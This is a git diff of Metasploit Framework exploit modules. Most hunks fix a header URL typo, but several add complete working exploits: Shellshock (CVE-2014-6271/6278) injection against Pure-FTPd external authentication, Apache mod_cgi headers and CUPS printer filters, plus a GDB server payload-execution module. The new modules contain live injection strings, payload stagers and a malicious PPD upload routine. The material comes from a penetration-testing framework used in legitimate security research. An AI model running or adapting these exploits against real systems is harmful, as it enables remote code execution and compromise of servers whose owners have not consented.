http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/browser/java_verifier_field_access.rb b/modules/exploits/multi/browser/java_verifier_field_access.rb index 84fa7a5463..69ec049d09 100644 --- a/modules/exploits/multi/browser/java_verifier_field_access.rb +++ b/modules/exploits/multi/browser/java_verifier_field_access.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/browser/mozilla_compareto.rb b/modules/exploits/multi/browser/mozilla_compareto.rb index cf49018f3d..b01bba4436 100644 --- a/modules/exploits/multi/browser/mozilla_compareto.rb +++ b/modules/exploits/multi/browser/mozilla_compareto.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -20,7 +20,7 @@ class Metasploit3 < Msf::Exploit::Remote # :ua_name => HttpClients::FF, # :ua_minver => "1.0", # :ua_maxver => "1.7.10", - # :os_name => OperatingSystems::WINDOWS, + # :os_name => OperatingSystems::Match::WINDOWS, # :javascript => true, # :rank => NormalRanking, # reliable memory corruption # :vuln_test => "if (typeof InstallVersion != 'undefined') { is_vuln = true; }", @@ -35,7 +35,7 @@ class Metasploit3 < Msf::Exploit::Remote module is a direct port of Aviv Raff's HTML PoC. }, 'License' => MSF_LICENSE, - 'Author' => ['hdm', 'Aviv Raff '], + 'Author' => ['hdm', 'Aviv Raff '], 'References' => [ ['CVE', '2005-2265'], diff --git a/modules/exploits/multi/browser/mozilla_navigatorjava.rb b/modules/exploits/multi/browser/mozilla_navigatorjava.rb index c5eef0abcf..e8f5185a65 100644 --- a/modules/exploits/multi/browser/mozilla_navigatorjava.rb +++ b/modules/exploits/multi/browser/mozilla_navigatorjava.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/browser/opera_configoverwrite.rb b/modules/exploits/multi/browser/opera_configoverwrite.rb index 72aa51c2a7..0e426d005b 100644 --- a/modules/exploits/multi/browser/opera_configoverwrite.rb +++ b/modules/exploits/multi/browser/opera_configoverwrite.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -17,7 +17,7 @@ class Metasploit3 < Msf::Exploit::Remote autopwn_info({ :ua_name => HttpClients::OPERA, :ua_maxver => "9.10", - :os_name => [ OperatingSystems::WINDOWS, OperatingSystems::LINUX ], + :os_name => [ OperatingSystems::Match::WINDOWS, OperatingSystems::Match::LINUX ], :javascript => true, :rank => ExcellentRanking, # reliable cmd exec, cleans up after itself :vuln_test => nil, diff --git a/modules/exploits/multi/browser/opera_historysearch.rb b/modules/exploits/multi/browser/opera_historysearch.rb index 2c7a1efb27..470e2f1eb5 100644 --- a/modules/exploits/multi/browser/opera_historysearch.rb +++ b/modules/exploits/multi/browser/opera_historysearch.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -37,7 +37,7 @@ class Metasploit3 < Msf::Exploit::Remote 'Author' => [ 'Roberto Suggi', # Discovered the vulnerability - 'Aviv Raff ', # showed it to be exploitable for code exec + 'Aviv Raff ', # showed it to be exploitable for code exec 'egypt', # msf module ], 'References' => diff --git a/modules/exploits/multi/browser/qtjava_pointer.rb b/modules/exploits/multi/browser/qtjava_pointer.rb index 7b8e6d990c..5a1e3c5e1b 100644 --- a/modules/exploits/multi/browser/qtjava_pointer.rb +++ b/modules/exploits/multi/browser/qtjava_pointer.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/elasticsearch/script_mvel_rce.rb b/modules/exploits/multi/elasticsearch/script_mvel_rce.rb index c338fe7ffa..c8c789f6f2 100644 --- a/modules/exploits/multi/elasticsearch/script_mvel_rce.rb +++ b/modules/exploits/multi/elasticsearch/script_mvel_rce.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/fileformat/adobe_u3d_meshcont.rb b/modules/exploits/multi/fileformat/adobe_u3d_meshcont.rb index b8e7a81eee..7f79b9c836 100644 --- a/modules/exploits/multi/fileformat/adobe_u3d_meshcont.rb +++ b/modules/exploits/multi/fileformat/adobe_u3d_meshcont.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/fileformat/maple_maplet.rb b/modules/exploits/multi/fileformat/maple_maplet.rb index 0f73151539..96e8152bf5 100644 --- a/modules/exploits/multi/fileformat/maple_maplet.rb +++ b/modules/exploits/multi/fileformat/maple_maplet.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/fileformat/nodejs_js_yaml_load_code_exec.rb b/modules/exploits/multi/fileformat/nodejs_js_yaml_load_code_exec.rb index e526ecdcc1..3b72a6101e 100644 --- a/modules/exploits/multi/fileformat/nodejs_js_yaml_load_code_exec.rb +++ b/modules/exploits/multi/fileformat/nodejs_js_yaml_load_code_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/fileformat/peazip_command_injection.rb b/modules/exploits/multi/fileformat/peazip_command_injection.rb index e86ddd7662..ebc004871b 100644 --- a/modules/exploits/multi/fileformat/peazip_command_injection.rb +++ b/modules/exploits/multi/fileformat/peazip_command_injection.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/ftp/pureftpd_bash_env_exec.rb b/modules/exploits/multi/ftp/pureftpd_bash_env_exec.rb new file mode 100644 index 0000000000..8abe07fe3e --- /dev/null +++ b/modules/exploits/multi/ftp/pureftpd_bash_env_exec.rb @@ -0,0 +1,121 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit4 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::Ftp + include Msf::Exploit::CmdStager + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Pure-FTPd External Authentication Bash Environment Variable Code Injection', + 'Description' => %q( + This module exploits the code injection flaw known as Shellshock, which leverages specially + crafted environment variables in Bash. + + Please note that this exploit specifically targets Pure-FTPd compiled with the --with-extauth + flag, and an external Bash program for authentication. If the server is not set up this way, + understand that even if the operating system is vulnerable to Shellshock, it cannot be + exploited via Pure-FTPd. + ), + 'Author' => + [ + 'Stephane Chazelas', # Vulnerability discovery + 'Frank Denis', # Discovery of Pure-FTPd attack vector + 'Spencer McIntyre' # Metasploit module + ], + 'References' => + [ + ['CVE', '2014-6271'], + ['OSVDB', '112004'], + ['EDB', '34765'], + ['URL', 'https://gist.github.com/jedisct1/88c62ee34e6fa92c31dc'], + ['URL', 'http://download.pureftpd.org/pub/pure-ftpd/doc/README.Authentication-Modules'] + ], + 'Payload' => + { + 'DisableNops' => true, + 'Space' => 2048 + }, + 'Targets' => + [ + [ 'Linux x86', + { + 'Platform' => 'linux', + 'Arch' => ARCH_X86, + 'CmdStagerFlavor' => :printf + } + ], + [ 'Linux x86_64', + { + 'Platform' => 'linux', + 'Arch' => ARCH_X86_64, + 'CmdStagerFlavor' => :printf + } + ] + ], + 'DefaultOptions' => + { + 'PrependFork' => true + }, + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Sep 24 2014')) + register_options( + [ + Opt::RPORT(21), + OptString.new('RPATH', [true, 'Target PATH for binaries used by the CmdStager', '/bin']) + ], self.class) + deregister_options('FTPUSER', 'FTPPASS') + end + + def check + # this check method tries to use the vulnerability to bypass the login + username = rand_text_alphanumeric(rand(20) + 1) + random_id = (rand(100) + 1) + command = "echo auth_ok:1; echo uid:#{random_id}; echo gid:#{random_id}; echo dir:/tmp; echo end" + if send_command(username, command) =~ /^2\d\d ok./i + disconnect + return CheckCode::Safe if banner !~ /pure-ftpd/i + + command = "echo auth_ok:0; echo end" + if send_command(username, command) =~ /^5\d\d login authentication failed/i + disconnect + return CheckCode::Vulnerable + end + end + disconnect + + CheckCode::Safe + end + + def execute_command(cmd, _opts) + cmd.gsub!('chmod', "#{datastore['RPATH']}/chmod") + username = rand_text_alphanumeric(rand(20) + 1) + send_command(username, cmd) + end + + def exploit + # Cannot use generic/shell_reverse_tcp inside an elf + # Checking before proceeds + if generate_payload_exe.blank? + fail_with(Failure::BadConfig, "#{rhost}:#{rport} - Failed to store payload inside executable, please select a native payload") + end + + execute_cmdstager(linemax: 500) + handler + end + + def send_command(username, cmd) + cmd = "() { :;}; #{datastore['RPATH']}/sh -c \"#{cmd}\"" + connect + send_user(username) + password_result = send_pass(cmd) + disconnect + password_result + end +end diff --git a/modules/exploits/multi/ftp/wuftpd_site_exec_format.rb b/modules/exploits/multi/ftp/wuftpd_site_exec_format.rb index 1ede0f8401..3a910ece59 100644 --- a/modules/exploits/multi/ftp/wuftpd_site_exec_format.rb +++ b/modules/exploits/multi/ftp/wuftpd_site_exec_format.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/gdb/gdb_server_exec.rb b/modules/exploits/multi/gdb/gdb_server_exec.rb new file mode 100644 index 0000000000..c9321bef8b --- /dev/null +++ b/modules/exploits/multi/gdb/gdb_server_exec.rb @@ -0,0 +1,84 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = GreatRanking + + include Msf::Exploit::Remote::Gdb + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'GDB Server Remote Payload Execution', + 'Description' => %q{ + This module attempts to execute an arbitrary payload on a loose gdbserver service. + }, + 'Author' => [ 'joev' ], + 'Targets' => [ + [ 'x86 (32-bit)', { 'Arch' => ARCH_X86 } ], + [ 'x86_64 (64-bit)', { 'Arch' => ARCH_X86_64 } ] + ], + 'References' => + [ + ['URL', 'https://github.com/rapid7/metasploit-framework/pull/3691'] + ], + 'DisclosureDate' => 'Aug 24 2014', + 'Platform' => %w(linux unix osx), + 'DefaultTarget' => 0, + 'DefaultOptions' => { + 'PrependFork' => true + } + )) + + register_options([ + OptString.new('EXE_FILE', [ + false, + "The exe to spawn when gdbserver is not attached to a process.", + '/bin/true' + ]) + ], self.class) + end + + def exploit + connect + + print_status "Performing handshake with gdbserver..." + handshake + + enable_extended_mode + + begin + print_status "Stepping program to find PC..." + gdb_data = process_info + rescue BadAckError, BadResponseError + # gdbserver is running with the --multi flag and is not currently + # attached to any process. let's attach to /bin/true or something. + print_status "No process loaded, attempting to load /bin/true..." + run(datastore['EXE_FILE']) + gdb_data = process_info + end + + gdb_pc, gdb_arch = gdb_data.values_at(:pc, :arch) + + unless payload.arch.include? gdb_arch + fail_with( + Msf::Exploit::Failure::BadConfig, + "The payload architecture is incorrect: "+ + "the payload is #{payload.arch.first}, but #{gdb_arch} was detected from gdb." + ) + end + + print_status "Writing payload at #{gdb_pc}..." + write(payload.encoded, gdb_pc) + + print_status "Executing the payload..." + continue + + handler + disconnect + end + +end diff --git a/modules/exploits/multi/handler.rb b/modules/exploits/multi/handler.rb index 77000a4e21..1c4f635b8e 100644 --- a/modules/exploits/multi/handler.rb +++ b/modules/exploits/multi/handler.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/http/activecollab_chat.rb b/modules/exploits/multi/http/activecollab_chat.rb index 7a6bf553b4..d8f6182078 100644 --- a/modules/exploits/multi/http/activecollab_chat.rb +++ b/modules/exploits/multi/http/activecollab_chat.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/http/ajaxplorer_checkinstall_exec.rb b/modules/exploits/multi/http/ajaxplorer_checkinstall_exec.rb index d0b5a4f408..99a06bd5bd 100644 --- a/modules/exploits/multi/http/ajaxplorer_checkinstall_exec.rb +++ b/modules/exploits/multi/http/ajaxplorer_checkinstall_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/http/apache_mod_cgi_bash_env_exec.rb b/modules/exploits/multi/http/apache_mod_cgi_bash_env_exec.rb new file mode 100644 index 0000000000..2e1d3f686f --- /dev/null +++ b/modules/exploits/multi/http/apache_mod_cgi_bash_env_exec.rb @@ -0,0 +1,150 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit4 < Msf::Exploit::Remote + Rank = GoodRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::CmdStager + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Apache mod_cgi Bash Environment Variable Code Injection', + 'Description' => %q{ + This module exploits a code injection in specially crafted environment + variables in Bash, specifically targeting Apache mod_cgi scripts through + the HTTP_USER_AGENT variable by default. + }, + 'Author' => [ + 'Stephane Chazelas', # Vulnerability discovery + 'wvu', # Original Metasploit aux module + 'juan vazquez', # Allow wvu's module to get native sessions + 'lcamtuf' # CVE-2014-6278 + ], + 'References' => [ + ['CVE', '2014-6271'], + ['CVE', '2014-6278'], + ['OSVDB', '112004'], + ['EDB', '34765'], + ['URL', 'https://access.redhat.com/articles/1200223'], + ['URL', 'http://seclists.org/oss-sec/2014/q3/649'] + ], + 'Payload' => + { + 'DisableNops' => true, + 'Space' => 2048 + }, + 'Targets' => + [ + [ 'Linux x86', + { + 'Platform' => 'linux', + 'Arch' => ARCH_X86, + 'CmdStagerFlavor' => [ :echo, :printf ] + } + ], + [ 'Linux x86_64', + { + 'Platform' => 'linux', + 'Arch' => ARCH_X86_64, + 'CmdStagerFlavor' => [ :echo, :printf ] + } + ] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Sep 24 2014', + 'License' => MSF_LICENSE + )) + + register_options([ + OptString.new('TARGETURI', [true, 'Path to CGI script']), + OptString.new('METHOD', [true, 'HTTP method to use', 'GET']), + OptString.new('HEADER', [true, 'HTTP header to use', 'User-Agent']), + OptInt.new('CMD_MAX_LENGTH', [true, 'CMD max line length', 2048]), + OptString.new('RPATH', [true, 'Target PATH for binaries used by the CmdStager', '/bin']), + OptInt.new('TIMEOUT', [true, 'HTTP read response timeout (seconds)', 5]), + OptEnum.new('CVE', [true, 'CVE to check/exploit', 'CVE-2014-6271', ['CVE-2014-6271', 'CVE-2014-6278']]) + ], self.class) + end + + def check + res = req("echo #{marker}", datastore['CVE']) + + if res && res.body.include?(marker * 3) + return Exploit::CheckCode::Vulnerable + elsif res && res.code == 500 + injected_res_code = res.code + else + return Exploit::CheckCode::Safe + end + + res = send_request_cgi({ + 'method' => datastore['METHOD'], + 'uri' => normalize_uri(target_uri.path.to_s) + }) + + if res && injected_res_code == res.code + return Exploit::CheckCode::Unknown + elsif res && injected_res_code != res.code + return Exploit::CheckCode::Appears + end + + Exploit::CheckCode::Unknown + end + + def exploit + # Cannot use generic/shell_reverse_tcp inside an elf + # Checking before proceeds + if generate_payload_exe.blank? + fail_with(Failure::BadConfig, "#{peer} - Failed to store payload inside executable, please select a native payload") + end + + execute_cmdstager(:linemax => datastore['CMD_MAX_LENGTH'], :nodelete => true) + + # A last chance after the cmdstager + # Trying to make it generic + unless session_created? + req("#{stager_instance.instance_variable_get("@tempdir")}#{stager_instance.instance_variable_get("@var_elf")}", datastore['CVE']) + end + end + + def execute_command(cmd, opts) + cmd.gsub!('chmod', "#{datastore['RPATH']}/chmod") + + req(cmd, datastore['CVE']) + end + + def req(cmd, cve) + case cve + when 'CVE-2014-6271' + sploit = cve_2014_6271(cmd) + when 'CVE-2014-6278' + sploit = cve_2014_6278(cmd) + end + + send_request_cgi( + { + 'method' => datastore['METHOD'], + 'uri' => normalize_uri(target_uri.path.to_s), + 'headers' => { + datastore['HEADER'] => sploit + } + }, datastore['TIMEOUT']) + end + + def cve_2014_6271(cmd) + %Q{() { :;};echo -e "\\r\\n#{marker}$(#{cmd})#{marker}"} + end + + def cve_2014_6278(cmd) + %Q{() { _; } >_[$($())] { echo -e "\\r\\n#{marker}$(#{cmd})#{marker}"; }} + end + + def marker + @marker ||= rand_text_alphanumeric(rand(42) + 1) + end +end diff --git a/modules/exploits/multi/http/apache_roller_ognl_injection.rb b/modules/exploits/multi/http/apache_roller_ognl_injection.rb index 6847943431..7c34f04663 100644 --- a/modules/exploits/multi/http/apache_roller_ognl_injection.rb +++ b/modules/exploits/multi/http/apache_roller_ognl_injection.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/http/apprain_upload_exec.rb b/modules/exploits/multi/http/apprain_upload_exec.rb index 8c4c848762..9886a77bf7 100644 --- a/modules/exploits/multi/http/apprain_upload_exec.rb +++ b/modules/exploits/multi/http/apprain_upload_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/http/auxilium_upload_exec.rb b/modules/exploits/multi/http/auxilium_upload_exec.rb index 4d0ffa5679..b7017589ee 100644 --- a/modules/exploits/multi/http/auxilium_upload_exec.rb +++ b/modules/exploits/multi/http/auxilium_upload_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/http/axis2_deployer.rb b/modules/exploits/multi/http/axis2_deployer.rb index dfe58bb7d6..4121d455c5 100644 --- a/modules/exploits/multi/http/axis2_deployer.rb +++ b/modules/exploits/multi/http/axis2_deployer.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/http/cisco_dcnm_upload.rb b/modules/exploits/multi/http/cisco_dcnm_upload.rb index c68da26ec9..a0c6b0f4c6 100644 --- a/modules/exploits/multi/http/cisco_dcnm_upload.rb +++ b/modules/exploits/multi/http/cisco_dcnm_upload.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/http/coldfusion_rds.rb b/modules/exploits/multi/http/coldfusion_rds.rb index c9f935683a..33e0c92090 100644 --- a/modules/exploits/multi/http/coldfusion_rds.rb +++ b/modules/exploits/multi/http/coldfusion_rds.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/http/cups_bash_env_exec.rb b/modules/exploits/multi/http/cups_bash_env_exec.rb new file mode 100644 index 0000000000..420e406568 --- /dev/null +++ b/modules/exploits/multi/http/cups_bash_env_exec.rb @@ -0,0 +1,273 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit4 < Msf::Exploit::Remote + Rank = GoodRanking + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'CUPS Filter Bash Environment Variable Code Injection', + 'Description' => %q{ + This module exploits a post-auth code injection in specially crafted + environment variables in Bash, specifically targeting CUPS filters + through the PRINTER_INFO and PRINTER_LOCATION variables by default. + }, + 'Author' => [ + 'Stephane Chazelas', # Vulnerability discovery + 'lcamtuf', # CVE-2014-6278 + 'Brendan Coles ' # msf + ], + 'References' => [ + ['CVE', '2014-6271'], + ['CVE', '2014-6278'], + ['EDB', '34765'], + ['URL', 'https://access.redhat.com/articles/1200223'], + ['URL', 'http://seclists.org/oss-sec/2014/q3/649'] + ], + 'Privileged' => false, + 'Arch' => ARCH_CMD, + 'Platform' => 'unix', + 'Payload' => + { + 'Space' => 1024, + 'BadChars' => "\x00\x0A\x0D", + 'DisableNops' => true + }, + 'Compat' => + { + 'PayloadType' => 'cmd', + 'RequiredCmd' => 'generic bash awk ruby' + }, + # Tested: + # - CUPS version 1.4.3 on Ubuntu 10.04 (x86) + # - CUPS version 1.5.3 on Debian 7 (x64) + # - CUPS version 1.6.2 on Fedora 19 (x64) + # - CUPS version 1.7.2 on Ubuntu 14.04 (x64) + 'Targets' => [[ 'Automatic Targeting', { 'auto' => true } ]], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Sep 24 2014', + 'License' => MSF_LICENSE + )) + register_options([ + Opt::RPORT(631), + OptBool.new('SSL', [ true, 'Use SSL', true ]), + OptString.new('USERNAME', [ true, 'CUPS username', 'root']), + OptString.new('PASSWORD', [ true, 'CUPS user password', '']), + OptEnum.new('CVE', [ true, 'CVE to exploit', 'CVE-2014-6271', ['CVE-2014-6271', 'CVE-2014-6278'] ]), + OptString.new('RPATH', [ true, 'Target PATH for binaries', '/bin' ]) + ], self.class) + end + + # + # CVE-2014-6271 + # + def cve_2014_6271(cmd) + %{() { :;}; $(#{cmd}) & } + end + + # + # CVE-2014-6278 + # + def cve_2014_6278(cmd) + %{() { _; } >_[$($())] { echo -e "\r\n$(#{cmd})\r\n" ; }} + end + + # + # Check credentials + # + def check + @cookie = rand_text_alphanumeric(16) + printer_name = rand_text_alphanumeric(10 + rand(5)) + res = add_printer(printer_name, '') + if !res + vprint_error("#{peer} - No response from host") + return Exploit::CheckCode::Unknown + elsif res.headers['Server'] =~ /CUPS\/([\d\.]+)/ + vprint_status("#{peer} - Found CUPS version #{$1}") + else + print_status("#{peer} - Target is not a CUPS web server") + return Exploit::CheckCode::Safe + end + if res.body =~ /Set Default Options for #{printer_name}/ + vprint_good("#{peer} - Added printer successfully") + delete_printer(printer_name) + elsif res.code == 401 || (res.code == 426 && datastore['SSL'] == true) + vprint_error("#{peer} - Authentication failed") + elsif res.code == 426 + vprint_error("#{peer} - SSL required - set SSL true") + end + Exploit::CheckCode::Detected + end + + # + # Exploit + # + def exploit + @cookie = rand_text_alphanumeric(16) + printer_name = rand_text_alphanumeric(10 + rand(5)) + + # Select target CVE + case datastore['CVE'] + when 'CVE-2014-6278' + cmd = cve_2014_6278(payload.raw) + else + cmd = cve_2014_6271(payload.raw) + end + + # Add a printer containing the payload + # with a CUPS filter pointing to /bin/bash + res = add_printer(printer_name, cmd) + if !res + fail_with(Failure::Unreachable, "#{peer} - Could not add printer - Connection failed.") + elsif res.body =~ /Set Default Options for #{printer_name}/ + print_good("#{peer} - Added printer successfully") + elsif res.code == 401 || (res.code == 426 && datastore['SSL'] == true) + fail_with(Failure::NoAccess, "#{peer} - Could not add printer - Authentication failed.") + elsif res.code == 426 + fail_with(Failure::BadConfig, "#{peer} - Could not add printer - SSL required - set SSL true.") + else + fail_with(Failure::Unknown, "#{peer} - Could not add printer.") + end + + # Add a test page to the print queue. + # The print job triggers execution of the bash filter + # which executes the payload in the environment variables. + res = print_test_page(printer_name) + if !res + fail_with(Failure::Unreachable, "#{peer} - Could not add test page to print queue - Connection failed.") + elsif res.body =~ /Test page sent; job ID is/ + vprint_good("#{peer} - Added test page to printer queue") + elsif res.code == 401 || (res.code == 426 && datastore['SSL'] == true) + fail_with(Failure::NoAccess, "#{peer} - Could not add test page to print queue - Authentication failed.") + elsif res.code == 426 + fail_with(Failure::BadConfig, "#{peer} - Could not add test page to print queue - SSL required - set SSL true.") + else + fail_with(Failure::Unknown, "#{peer} - Could not add test page to print queue.") + end + + # Delete the printer + res = delete_printer(printer_name) + if !res + fail_with(Failure::Unreachable, "#{peer} - Could not delete printer - Connection failed.") + elsif res.body =~ /has been deleted successfully/ + print_status("#{peer} - Deleted printer '#{printer_name}' successfully") + elsif res.code == 401 || (res.code == 426 && datastore['SSL'] == true) + vprint_warning("#{peer} - Could not delete printer '#{printer_name}' - Authentication failed.") + elsif res.code == 426 + vprint_warning("#{peer} - Could not delete printer '#{printer_name}' - SSL required - set SSL true.") + else + vprint_warning("#{peer} - Could not delete printer '#{printer_name}'") + end + end + + # + # Add a printer to CUPS + # + def add_printer(printer_name, cmd) + vprint_status("#{peer} - Adding new printer '#{printer_name}'") + + ppd_name = "#{rand_text_alphanumeric(10 + rand(5))}.ppd" + ppd_file = <<-EOF +*PPD-Adobe: "4.3" +*%==== General Information Keywords ======================== +*FormatVersion: "4.3" +*FileVersion: "1.00" +*LanguageVersion: English +*LanguageEncoding: ISOLatin1 +*PCFileName: "#{ppd_name}" +*Manufacturer: "Brother" +*Product: "(Brother MFC-3820CN)" +*1284DeviceID: "MFG:Brother;MDL:MFC-3820CN" +*cupsVersion: 1.1 +*cupsManualCopies: False +*cupsFilter: "application/vnd.cups-postscript 0 #{datastore['RPATH']}/bash" +*cupsModelNumber: #{rand(10) + 1} +*ModelName: "Brother MFC-3820CN" +*ShortNickName: "Brother MFC-3820CN" +*NickName: "Brother MFC-3820CN CUPS v1.1" +*% +*%==== Basic Device Capabilities ============= +*LanguageLevel: "3" +*ColorDevice: True +*DefaultColorSpace: RGB +*FileSystem: False +*Throughput: "12" +*LandscapeOrientation: Plus90 +*VariablePaperSize: False +*TTRasterizer: Type42 +*FreeVM: "1700000" + +*DefaultOutputOrder: Reverse +*%==== Media Selection ====================== + +*OpenUI *PageSize/Media Size: PickOne +*OrderDependency: 18 AnySetup *PageSize +*DefaultPageSize: BrLetter +*PageSize BrA4/A4: "<>setpagedevice" +*PageSize BrLetter/Letter: "<>setpagedevice" +EOF + + pd = Rex::MIME::Message.new + pd.add_part(ppd_file, 'application/octet-stream', nil, %(form-data; name="PPD_FILE"; filename="#{ppd_name}")) + pd.add_part("#{@cookie}", nil, nil, %(form-data; name="org.cups.sid")) + pd.add_part("add-printer", nil, nil, %(form-data; name="OP")) + pd.add_part("#{printer_name}", nil, nil, %(form-data; name="PRINTER_NAME")) + pd.add_part("", nil, nil, %(form-data; name="PRINTER_INFO")) # injectable + pd.add_part("#{cmd}", nil, nil, %(form-data; name="PRINTER_LOCATION")) # injectable + pd.add_part("file:///dev/null", nil, nil, %(form-data; name="DEVICE_URI")) + + data = pd.to_s + data.strip! + + send_request_cgi( + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'admin'), + 'ctype' => "multipart/form-data; boundary=#{pd.bound}", + 'data' => data, + 'cookie' => "org.cups.sid=#{@cookie};", + 'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']) + ) + end + + # + # Queue a printer test page + # + def print_test_page(printer_name) + vprint_status("#{peer} - Adding test page to printer queue") + send_request_cgi( + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'printers', printer_name), + 'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']), + 'cookie' => "org.cups.sid=#{@cookie}", + 'vars_post' => { + 'org.cups.sid' => @cookie, + 'OP' => 'print-test-page' + } + ) + end + + # + # Delete a printer + # + def delete_printer(printer_name) + vprint_status("#{peer} - Deleting printer '#{printer_name}'") + send_request_cgi( + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'admin'), + 'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']), + 'cookie' => "org.cups.sid=#{@cookie}", + 'vars_post' => { + 'org.cups.sid' => @cookie, + 'OP' => 'delete-printer', + 'printer_name' => printer_name, + 'confirm' => 'Delete Printer' + } + ) + end + +end diff --git a/modules/exploits/multi/http/cuteflow_upload_exec.rb b/modules/exploits/multi/http/cuteflow_upload_exec.rb index dd1474d71b..c11754860d 100644 --- a/modules/exploits/multi/http/cuteflow_upload_exec.rb +++ b/modules/exploits/multi/http/cuteflow_upload_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/http/dexter_casinoloader_exec.rb b/modules/exploits/multi/http/dexter_casinoloader_exec.rb index f7844589e7..71c1b0a0c1 100644 --- a/modules/exploits/multi/http/dexter_casinoloader_exec.rb +++ b/modules/exploits/multi/http/dexter_casinoloader_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: 